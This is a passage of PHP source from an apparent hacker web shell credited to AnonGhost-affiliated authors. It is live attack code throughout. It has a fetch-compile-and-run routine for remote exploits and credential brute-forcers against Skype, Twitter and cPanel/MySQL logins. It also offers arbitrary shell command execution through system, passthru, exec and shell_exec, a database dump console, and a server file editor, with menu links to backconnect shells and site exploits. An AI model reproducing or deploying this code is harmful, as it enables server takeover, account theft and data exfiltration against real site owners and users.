1053echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | date:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1054}
1055echo '</tr><tr>';
1056
1057if(ini_get('gzip') == '1'){
1058echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1059}
1060else{
1061echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> gzip:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1062}
1063if(ini_get('sh') == '1'){
1064echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON </font></b></td>';
1065}
1066else{
1067echo '<td style="border:0px solid black;"><font color="#007700" size="2pt"> | sh:</font></td><td><b><font color="#b0b000" size="2pt"> OFF </font></b></td>';
1068}
1069echo '</tr>';
1070echo '</table></center>';
1071
1072}
1073
1074
1075
1076if(isset($_GET['action']) && $_GET['action'] == 'exploit'){
1077echo '<center><b class="conte">
1078<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
1079<a href="?action=cmd">Command Execution</a> -
1080<a href="?action=com64">Base64 Command</a> -
1081<a href="?action=vgrab">Config Grabber</a> -
1082<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
1083<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
1084<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
1085<a href="?action=cari">Find Directory Writable/Readable</a> -
1086<a href="?action=zonh">Zone-h Notifier</a> -
1087<a href="?action=shhhshell">Shtml Command Shell</a> -
1088<a href="?action=beko">Back connect Simple</a> -
1089<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
1090<a href="?action=prlbckacnonect">Perl BackConnect</a> -
1091<a href="?action=pythnonbakcncete">Python BackConnect</a> -
1092<a href="?action=exploit">Exploit</a> -
1093<a href="?action=whmcskillrer">Whcms Killer</a> -
1094<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
1095<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
1096</center>
1097</b>';
1098echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Exploit</span><center>';
1099?>
1100<center>
1101<span style="font-family: Tahoma, Geneva, sans-serif;font-size: 12px; color: #007700;"><br />Get and execute<br /><br /></span>
1102<form action="" method="get">
1103<input type="text" name="exp_url" value="http://site.com/exploit"> Type:
1104<select name="run">
1105<option>c++ | .cpp</option>
1106<option>python | .py</option>
1107<option>perl | .pl</option>
1108<option>ruby | .rb</option>
1109</select>
1110<input type="hidden" name="action" value="exploit">
1111<input type="submit" value="Start">
1112</form>
1113</center>
1114<?php
1115}
1116
1117if(isset($_GET['exp_url'])){
1118echo '<center>';
1119if(function_exists("wget")){
1120wget($_GET['exp_url']);
1121echo $_GET['exp_url'].' got in here';
1122if(function_exists("system")){
1123
1124if(isset($_GET['run'])){
1125$run = $_GET['run'];
1126if($run = 'c++ | .cpp'){
1127system("gcc -o exploit ".$_GET['exp_url'].";chmod +x exploit;./exploit;");
1128}
1129if($run = 'perl | .pl'){
1130}
1131if($run = 'python | .py'){
1132}
1133if($run = 'ruby | .rb'){
1134}
1135
1136
1137}
1138
1139
1140}
1141else{
1142echo 'System command disabled';
1143}
1144}
1145else{
1146echo('wget disabled');
1147}
1148echo '</center>';
1149}
1150if(isset($_GET['action']) && $_GET['action'] == 'skybru'){
1151echo '<center><b class="conte">
1152<a href="?action=skybru">Skype Brute Force</a> -
1153<a href="?action=cpbru">Cpanel Brute Force</a> -
1154<a href="?action=jmbru">Joomla Brute Force</a> -
1155<a href="?action=wpbru">Wordpress Brute Force</a> -
1156<a href="?action=twbru">Twitter Brute Force</a> -
1157<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1158</b>';
1159echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Skype Brute Force</span><center>';
1160ob_start();
1161@set_time_limit(0);
1162#Skype BruteForce Developped By noname-haxor from AnonGhost Team (Thanks To Mauritania Attacker)
1163#Idea By : Mauritania Attacker
1164
1165
1166echo "
1167<center><img src='http://www14.0zz0.com/2014/07/26/11/926953700.png' width='450' height='95' /></center>
1168</b>
1169<br></center>
1170<p dir='ltr' align='center' box-shadow: 0px 0px 4px #007700;>
1171<textarea cols='34' class='area' rows='14' name='username'>Target Name</textarea>
1172<textarea cols='34' class='area' rows='14' name='password'>Password</textarea><br>
1173<br>
1174<input type='submit' value='Start BruteForce'><br></p>";
1175if($_POST['username'] and $_POST['password']){
1176 #function
1177 function brute($user,$pass)
1178 {
1179$ch = curl_init();
1180curl_setopt($ch, CURLOPT_URL, "https://login.skype.com/login");
1181curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
1182curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1183curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1184curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");
1185curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116");
1186
1187$login = curl_exec($ch);
1188if(eregi("message message_error", $login)){
1189
1190echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font> Password : <font color='red'>$pass</font></font></p><br><br><br>";
1191}else{
1192echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>You Are Lucky Password Found ! || Username: <font color='#b0b000'>$user</font> Password : <font color='#b0b000'>$pass</font></font></p><br><br><br>";
1193}
1194}
1195
1196 $username = explode("
1197", $_POST['username']);
1198 $password = explode("
1199", $_POST['password']);
1200
1201
1202 foreach($username as $users) {
1203 $users = @trim($users);
1204 foreach($password as $pass) {
1205 $pass = @trim($pass);
1206 brute($users,$pass); }}
1207
1208
1209 }
1210}
1211
1212
1213
1214if(isset($_GET['action']) && $_GET['action'] == 'twbru'){
1215echo '<center><b class="conte">
1216<a href="?action=skybru">Skype Brute Force</a> -
1217<a href="?action=cpbru">Cpanel Brute Force</a> -
1218<a href="?action=jmbru">Joomla Brute Force</a> -
1219<a href="?action=wpbru">Wordpress Brute Force</a> -
1220<a href="?action=twbru">Twitter Brute Force</a> -
1221<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1222</b>';
1223echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Twitter Multi-Account BruteForce</span><br>Coded By Mauritania Attacker</center><br><br>';
1224echo "<p dir='ltr' align='center'>
1225<textarea cols='22' class='area' rows='14' name='username'>Username</textarea>
1226<textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
1227if($_POST['username'] and $_POST['password']){
1228 #function
1229 function brute($user,$pass)
1230 {
1231 $ch = curl_init();
1232 curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
1233 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
1234 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1235 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1236 curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
1237 curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
1238
1239 # cURL - Brute Users & Password
1240 $login = curl_exec($ch);
1241 if(eregi("error notice", $login)){
1242
1243
1244 echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font> Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
1245 }else{
1246 echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font> GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
1247 }
1248 }
1249 # POSTS
1250 $username = explode("\n", $_POST['username']);
1251 $password = explode("\n", $_POST['password']);
1252
1253 # Foreach Users N' Textarea
1254 foreach($username as $users) {
1255 $users = @trim($users);
1256 foreach($password as $pass) {
1257 $pass = @trim($pass);
1258 brute($users,$pass); }}
1259 # cURL
1260
1261 }
1262 echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker</font></p>";
1263}
1264if(isset($_GET['action']) && $_GET['action'] == 'cpbru'){
1265echo '<center><b class="conte">
1266<a href="?action=skybru">Skype Brute Force</a> -
1267<a href="?action=cpbru">Cpanel Brute Force</a> -
1268<a href="?action=jmbru">Joomla Brute Force</a> -
1269<a href="?action=wpbru">Wordpress Brute Force</a> -
1270<a href="?action=twbru">Twitter Brute Force</a> -
1271<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1272</b>';
1273echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel Brute Force</span></center><br><br>';
1274function in($type,$name,$size,$value,$checked=0)
1275 {
1276 $ret = "<input type=".$type." name=".$name." "; if($size != 0)
1277 {
1278 $ret .= "size=".$size." "; }
1279 $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
1280
1281class my_sql
1282 {
1283 var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect()
1284 {
1285 switch($this->db)
1286 {
1287 case 'MySQL': if(empty($this->port))
1288 {
1289 $this->port = '3306'; }
1290 if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port))
1291 {
1292 $this->port = '1433'; }
1293 if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port))
1294 {
1295 $this->port = '5432'; }
1296 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
1297 return 0; }
1298 function select_db()
1299 {
1300 switch($this->db)
1301 {
1302 case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
1303 return 0; }
1304 function query($query)
1305 {
1306 $this->res=$this->error=''; switch($this->db)
1307 {
1308 case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
1309 {
1310 $this->error = @mysql_error($this->connection); return 0; }
1311 else if(is_resource($this->res))
1312 {
1313 return 1; }
1314 return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection)))
1315 {
1316 $this->error = 'Query error'; return 0; }
1317 else if(@mssql_num_rows($this->res) > 0)
1318 {
1319 return 1; }
1320 return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query)))
1321 {
1322 $this->error = @pg_last_error($this->connection); return 0; }
1323 else if(@pg_num_rows($this->res) > 0)
1324 {
1325 return 1; }
1326 return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query)))
1327 {
1328 $this->error = 'Query parse error'; }
1329 else
1330 {
1331 if(@ociexecute($this->res))
1332 {
1333 if(@ocirowcount($this->res) != 0) return 2; return 1; }
1334 $error = @ocierror(); $this->error=$error['message']; }
1335 break; }
1336 return 0; }
1337 function get_result()
1338 {
1339 $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db)
1340 {
1341 case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
1342 {
1343$this->columns = @array_keys($this->rows[0]); return 1;}
1344 break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
1345 {
1346$this->columns = @array_keys($this->rows[0]); return 1;}
1347; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
1348 {
1349$this->columns = @array_keys($this->rows[0]); return 1;}
1350 break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
1351 {
1352$this->columns = @array_keys($this->rows[0]); return 1;}
1353 break; }
1354 return 0; }
1355 function dump($table)
1356 {
1357 if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db)
1358 {
1359 case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
1360 {
1361 foreach($this->rows[$i] as $k=>$v)
1362 {
1363$this->rows[$i][$k] = @mysql_real_escape_string($v);}
1364 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
1365 break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
1366 {
1367 foreach($this->rows[$i] as $k=>$v)
1368 {
1369$this->rows[$i][$k] = @addslashes($v);}
1370 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
1371 break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
1372 {
1373 foreach($this->rows[$i] as $k=>$v)
1374 {
1375$this->rows[$i][$k] = @addslashes($v);}
1376 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
1377 break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
1378 return 1; }
1379 function close()
1380 {
1381 switch($this->db)
1382 {
1383 case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
1384 }
1385 function affected_rows()
1386 {
1387 switch($this->db)
1388 {
1389 case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
1390 }
1391 }
1392 if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name']))
1393 {
1394 if(!$file=@fopen($_POST['d_name'],"r"))
1395 {
1396 err(1,$_POST['d_name']); $_POST['cccc']=""; }
1397 else
1398 {
1399 @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding))
1400 {
1401 header('Content-Encoding: ' . $content_encoding); }
1402 header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
1403 }
1404 if(isset($_GET['phpinfo']))
1405 {
1406 echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
1407 if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query")
1408 {
1409 echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
1410 {
1411 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
1412 {
1413 foreach($querys as $num=>$query)
1414 {
1415 if(strlen($query)>5)
1416 {
1417 echo "<font face=Verdana size=-2 color=#777777><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query))
1418 {
1419 case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result())
1420 {
1421 echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode(" </b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b> ", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++)
1422 {
1423 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>'; }
1424 echo "</table>"; }
1425 break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
1426 }
1427 }
1428 }
1429 }
1430 echo "<br><title>Cpanel Brute Force recoded By Virusa Worm</title><form name=form method=POST>";
1431 echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query');
1432 echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
1433
1434
1435function ccmmdd($ccmmdd2,$att)
1436{
1437global $ccmmdd2,$att;
1438echo '
1439<table style="width: 100%" class="style1" dir="rtl">
1440 <tr>
1441 <td class="style9"></td>
1442 </tr>
1443 <tr>
1444 <td class="style13">
1445 <form method="post">
1446 <select name="att" dir="rtl" style="height: 109px" size="6">
1447';
1448if($_POST['att']==null)
1449{
1450echo ' <option value="system" selected="">system</option>';
1451}else{
1452echo " <option value='$_POST[att]' selected=''>$_POST[att]</option>
1453 <option value=system>system</option>
1454";
1455
1456
1457}
1458
1459echo '
1460 <option value="passthru">passthru</option>
1461 <option value="exec">exec</option>
1462 <option value="shell_exec">shell_exec</option>
1463 </select>
1464 <input name="page" value="ccmmdd" type="hidden"><br>
1465 <input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
1466 <input type="submit" value="ÊäÃÃÃ">
1467 </form>
1468
1469 </td>
1470 </tr>
1471 <tr>
1472 <td class="style13">
1473';
1474
1475 if($_POST[att]=='system')
1476 {
1477echo '
1478 <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1479 system($_POST['ccmmdd2']);
1480echo ' </textarea>';
1481
1482
1483 }
1484
1485 if($_POST[att]=='passthru')
1486 {
1487echo '
1488 <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1489 passthru($_POST['ccmmdd2']);
1490echo ' </textarea>';
1491
1492
1493 }
1494
1495
1496
1497
1498
1499 if($_POST[att]=='exec')
1500 {
1501
1502echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1503 exec($_POST['ccmmdd2'],$res);
1504 echo $res = join("\n",$res);
1505echo ' </textarea>';
1506
1507
1508 }
1509
1510
1511
1512
1513
1514
1515
1516 if($_POST[att]=='shell_exec')
1517 {
1518
1519echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
1520 echo shell_exec($_POST['ccmmdd2']);
1521echo ' </textarea>';
1522
1523
1524 }
1525echo '
1526 </td>
1527 </tr>
1528</table>
1529';
1530
1531exit;
1532}
1533
1534if($_POST['page']=='edit')
1535{
1536
1537$code=@str_replace("\r\n","\n",$_POST['code']);
1538$code=@str_replace('\\','',$code);
1539$fp = fopen($pathclass, 'w');
1540fwrite($fp,"$code");
1541fclose($fp);
1542echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
1543exit;
1544}
1545
1546 if($_POST['page']=='show')
1547 {
1548 $pathclass =$_POST['pathclass'];
1549echo '
1550<form method="POST">
1551<input type="hidden" name="page" value="edit">
1552';
1553
1554 $sahacker = fopen($pathclass, "rb");
1555echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';
1556$code = fread($sahacker, filesize($pathclass));
1557echo $code =htmlspecialchars($code);
1558echo '</textarea>';
1559 fclose($sahacker);
1560echo '
1561<br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
1562<br><strong><input type="submit" value="edit file">
1563</form>
1564';
1565 exit;
1566 }
1567
1568
1569
1570
1571 if($_POST['page']=='ccmmdd')
1572 {
1573 echo ccmmdd($ccmmdd2,$att);
1574 exit;
1575 }
1576
1577if($_POST['page']=='find')
1578{
1579if(isset($_POST['usernames']) && isset($_POST['passwords']))
1580{
1581 if($_POST['type'] == 'passwd'){
1582 $e = explode("\n",$_POST['usernames']);
1583 foreach($e as $value){
1584 $k = explode(":",$value);
1585 $username .= $k['0']." ";
1586 }
1587 }elseif($_POST['type'] == 'simple'){
1588 $username = str_replace("\n",' ',$_POST['usernames']);
1589 }
1590 $a1 = explode(" ",$username);
1591 $a2 = explode("\n",$_POST['passwords']);
1592 $id2 = count($a2);
1593 $ok = 0;
1594 foreach($a1 as $user )
1595 {
1596 if($user !== '')
1597 {
1598 $user=trim($user);
1599 for($i=0;$i<=$id2;$i++)
1600 {
1601 $pass = trim($a2[$i]);
1602 if(@mysql_connect('localhost',$user,$pass))
1603 {
1604 echo "Virusa Worm~ user is (<b><font face='Tahoma' color='#007700' size='2pt'>$user</font></b>) Password is (<b><font face='Tahoma' color='#007700' size='2pt'>$pass</font></b>)<br />";
1605 $ok++;
1606 }
1607 }
1608 }
1609 }
1610 echo "<center><font face='Tahoma' color='#009900' size='2pt'>You Found</font> <b><font face='Tahoma' color='#00ff00' size='2pt'>$ok</font></b> <font face='Tahoma' color='#009900' size='2pt'>Cpanel by Virusa Worm</font></center><br>";
1611 echo "<center><b><a href=".$_SERVER['PHP_SELF']."><font face='Tahoma' color='#007700' size='2pt'>BACK</font></a>";
1612 exit;
1613}
1614}
1615echo '<center>
1616<form method="POST" target="_blank">
1617<input name="page" type="hidden" value="find">
1618<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
1619<tr>
1620<td>
1621<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
1622<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
1623<font face="Tahoma" color="#007700" size="2pt">User :</font></td>
1624<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="usernames"></textarea></td>
1625</tr>
1626<tr>
1627<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
1628<font face="Tahoma" color="#007700" size="2pt">Pass :</font></td>
1629<td valign="top" bgcolor="transparent" colspan="5"><font face="Tahoma" color="#007700" size="2pt"><textarea class="area" cols="90" class ="inputz" rows="7" name="passwords"></textarea></font></td>
1630</tr>
1631<tr>
1632<td valign="top" bgcolor="transparent" class="style2" style="width: 139px">
1633<font face="Tahoma" color="#007700" size="2pt">Type :</font></td>
1634<td valign="top" bgcolor="transparent" colspan="5">
1635<span class="style2"><font face="Tahoma" color="#007700" size="2pt">Simple : </font> </span>
1636<input type="radio" name="type" value="simple" checked="checked" class="style3">
1637<font class="style2"><font face="Tahoma" color="#007700" size="2pt">/etc/passwd : </font> </font>
1638<input type="radio" name="type" value="passwd" class="style3"><span class="style3">
1639</span>
1640</td>
1641</tr>
1642<tr>
1643<td valign="top" bgcolor="transparent" style="width: 139px"></td>
1644<td valign="top" bgcolor="transparent" colspan="5"><input class ="inputzbut" type="submit" value="start">
1645</tr>
1646</td>
1647<tr>
1648</form>
1649<td valign="top" colspan="6"></td>
1650<form method="POST" target="_blank">
1651<input type="hidden" name="go" value="cmd_mysql">
1652<tr>
1653<td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD MYSQL</b></font></td>
1654</tr>
1655<tr>
1656<td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">user</font></td>
1657<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_l" type="text"></font></td>
1658<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">pass</font></td>
1659<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_p" type="text"></font></td>
1660<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">database</font></td>
1661<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_db" type="text"></font></td>
1662</tr>
1663<tr>
1664<td valign="top" bgcolor="transparent" style="height: 25px; width: 139px;">
1665<font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
1666<td valign="top" bgcolor="transparent" colspan="5" style="height: 25px">
1667<font face="Tahoma" color="#007700" size="2pt">
1668<br><textarea class="area" name="db_query" cols="90" rows="5">SHOW DATABASES;
1669SHOW TABLES user_vb ;
1670SELECT * FROM user;
1671SELECT version();
1672SELECT user();</textarea></font></td>
1673 </tr>
1674 <tr>
1675 <td valign="top" bgcolor="transparent" style="width: 139px"><strong></strong></td>
1676 <td valign="top" bgcolor="transparent" colspan="5"><strong><input type="submit" value="run"></strong></td>
1677 </tr>
1678<input name="db" value="MySQL" type="hidden">
1679<input name="db_server" type="hidden" value="localhost">
1680<input name="db_port" type="hidden" value="3306">
1681<input name="cccc" type="hidden" value="db_query">
1682
1683</form>
1684 <tr>
1685 <td valign="top" bgcolor="transparent" colspan="6"><strong></strong></td>
1686
1687
1688 </tr>
1689
1690<form method="POST" target="_blank">
1691 <tr>
1692 <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD
1693 system - passthru - exec - shell_exec</b></font></td>
1694 </tr>
1695 <tr>
1696 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
1697 <td valign="top" bgcolor="transparent" colspan="5">
1698 <select name="att" dir="rtl" size="1"></center>
1699';
1700if($_POST['att']==null)
1701{
1702echo ' <option value="system" selected="">system</option>';
1703}else{
1704echo " <option value='$_POST[att]' selected=''>$_POST[att]</option>
1705 <option value=system>system</option>
1706";
1707
1708
1709}
1710echo '<option value="passthru">passthru</option>
1711 <option value="exec">exec</option>
1712 <option value="shell_exec">shell_exec</option>
1713 </select>
1714
1715<input name="page" type="hidden" value="ccmmdd">
1716 <input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></td>
1717 </tr>
1718 <tr>
1719 <td valign="top" bgcolor="transparent" style="width: 139px"></td>
1720 <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="go"></td>
1721 </tr>
1722</form>
1723
1724<form method="POST" target="_blank">
1725
1726 <tr>
1727 <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Show
1728 File And Edit</b></font></td>
1729 </tr>
1730 <tr>
1731 <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Path ~</font></td>
1732 <td valign="top" bgcolor="transparent" colspan="5">
1733
